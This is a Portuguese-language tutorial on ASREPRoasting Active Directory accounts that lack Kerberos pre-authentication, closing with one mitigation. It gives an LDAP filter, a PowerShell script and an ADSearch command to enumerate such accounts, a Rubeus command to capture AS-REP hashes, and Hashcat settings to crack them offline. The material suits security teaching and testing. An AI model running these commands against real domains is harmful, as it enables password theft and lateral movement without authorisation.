1 minuto(s) de leitura

Teoria

ASREPRoasting é um ataque no ambiente do Active Directory que explora um recurso do protocolo de autenticação Kerberos chamado AS-REP (Authentication Service Reply).

As contas que não necessitam de pré-autenticação (atributo  DONT_REQ_PREAUTH ativado) estão suscetíveis a esse tipo de ataque. Um invasor pode solicitar um ticket Kerberos KRB_AS_REQ sem o autenticador para qualquer usuário que não tenha o recurso de pré-autenticação habilitado.

Em posse da resposta KRB_AS_REP do controlador de domínio, o invasor pode descobrir a senha da vítima com ataque de força bruta offline, usando John The Ripper com o modo krb5asrep ou com Hashcat.

OBS: Com a senha, a movimentação lateral se torna possível.

Untitled

Extração de Contas Sem Pré-autenticação com LDAP

Pode-se realizar um filtro LDAP para extrair as contas que não necessitam de pré-autenticação Keberos:

(sAMAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)

Untitled 1

Untitled 2

Essas são as 3 contas sem pré-autenticação.

Extração de Contas Sem Pré-autenticação com Powershell

O mesmo filtro será usado através de um script poweshell.

$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.Filter = "(&(sAMAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
$results = $search.FindAll()

foreach ($result in $results) {
    $userEntry = $result.GetDirectoryEntry()
    $uac = $userEntry.Properties["userAccountControl"].Value
    $doNotReqKerbPreauth = if ($uac -band 4194304) { $true } else { $false }

    Write-Host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
    Write-Host "DoNotReqKerbPreauth : $doNotReqKerbPreauth"
    Write-Host ""
}

Untitled 3

Extração de Contas Sem Pré-autenticação com ADSearch

ADSearch.exe --search "(&(sAMAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname

Untitled 4

Ataque

O ASREPRoasting pode ser realizado através do Rubeus:

Rubeus.exe asreproast /nowrap
  • A opção “nowrap” remove a quebra de linha (não obrigatório).

Untitled 5

Quebrando a Senha

O Hashcat será usado para quebrar a senha.

Untitled 6

  • A configuração “-m 18200” é para quebrar senhas Kerberos 5 AS-REP (etype 23).
  • O arquivo “maxraybrandt-asreproast” possui o hash encontrado.
  • O arquivo “pass” contém as possíveis senhas.

Untitled 7

Medidas de Proteção

  • Ativar a pré-autenticação Kerberos para todos os usuários.

Deixe um comentário